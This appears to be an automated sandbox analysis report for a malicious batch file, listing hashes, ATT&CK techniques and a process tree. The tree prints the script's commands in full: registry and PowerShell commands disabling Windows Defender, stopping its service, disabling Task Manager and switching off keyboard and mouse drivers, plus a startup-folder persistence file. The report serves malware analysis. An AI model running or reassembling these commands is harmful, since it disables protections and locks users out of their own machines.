cd9a479845bbed28e96035224749f0a194620373bcecad774149bc6cd005c9d3

Analysis

user interaction
yes
max time kernel
6s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 16:08

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General

Target
original.bat
Size 7KB
Sample260415-tlkpyads7k
SHA256 cd9a479845bbed28e96035224749f0a194620373bcecad774149bc6cd005c9d3
MD5 69f4f083fceee82e0fc091aa3ca1067c
SHA1 fbb66192ad62d6411ad9750b10f59650bcc687b1
SHA512 b00574334c8203846b26e96fa3786991e4a961c0f2dae8c090a0404567a4c1e01cb46d149dceebb74950dc889904003d9fbb1190af2ec6c9f2ad9d218a8887ea
SSDEEP 192:Ak2gVt+Tyn89Wz4aQD/DjMAaHN7BHiISGWvr1TxT:AaTuy89Wz4zD/DjMA8XiISGWvrXT
TLSH
T160F12A227D0A0A398557D8358CF39B3AF71162C78111BE90B5C66069A0AF9DC63BF7CD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4304	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHelper.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHelper.bat	cmd.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4304	powershell.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5952	sc.exe
5044	sc.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4304	powershell.exe
4304	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4304	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4924 wrote to memory of 3284	4924	cmd.exe	80
PID 3284 wrote to memory of 5420	3284	net.exe	81
PID 4924 wrote to memory of 792	4924	cmd.exe	82
PID 4924 wrote to memory of 6072	4924	cmd.exe	83
PID 4924 wrote to memory of 4304	4924	cmd.exe	84
PID 4924 wrote to memory of 5952	4924	cmd.exe	85
PID 4924 wrote to memory of 5044	4924	cmd.exe	86
PID 4924 wrote to memory of 1556	4924	cmd.exe	87
PID 4924 wrote to memory of 4396	4924	cmd.exe	88
PID 4924 wrote to memory of 5628	4924	cmd.exe	89
PID 4924 wrote to memory of 5892	4924	cmd.exe	90
PID 4924 wrote to memory of 6088	4924	cmd.exe	91
PID 4924 wrote to memory of 5432	4924	cmd.exe	92
PID 4924 wrote to memory of 1260	4924	cmd.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\original.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4924
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5420
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:792
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:6072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4304
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5952
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5044
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1556
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4396
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:5628
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:5892
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\i8042prt" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:6088
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdhid" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:5432
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouhid" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:1260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

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Downloads

__PSScriptPolicyTest_krzzymcc.0li.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_krzzymcc.0li.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4304-21-0x000001E75F660000-0x000001E75F67C000-memory.dmp

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memory/4304-23-0x000001E75F6A0000-0x000001E75F6BA000-memory.dmp

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memory/4304-10-0x000001E75F2B0000-0x000001E75F2D2000-memory.dmp

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memory/4304-11-0x000001E75F310000-0x000001E75F320000-memory.dmp

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memory/4304-18-0x000001E75F550000-0x000001E75F56C000-memory.dmp

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memory/4304-19-0x000001E75F570000-0x000001E75F623000-memory.dmp

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memory/4304-20-0x000001E75F630000-0x000001E75F63A000-memory.dmp

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memory/4304-3-0x000001E75F310000-0x000001E75F320000-memory.dmp

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memory/4304-2-0x000001E75F310000-0x000001E75F320000-memory.dmp

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memory/4304-24-0x000001E75F650000-0x000001E75F658000-memory.dmp

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memory/4304-22-0x000001E75F640000-0x000001E75F64A000-memory.dmp

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memory/4304-25-0x000001E75F680000-0x000001E75F686000-memory.dmp

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memory/4304-26-0x000001E75F690000-0x000001E75F69A000-memory.dmp

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memory/4304-27-0x000001E75F310000-0x000001E75F320000-memory.dmp

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memory/4304-30-0x000001E746CB0000-0x000001E746CBC000-memory.dmp

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memory/4304-32-0x000001E7471C0000-0x000001E7471D2000-memory.dmp

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memory/4304-31-0x000001E75F420000-0x000001E75F50A000-memory.dmp

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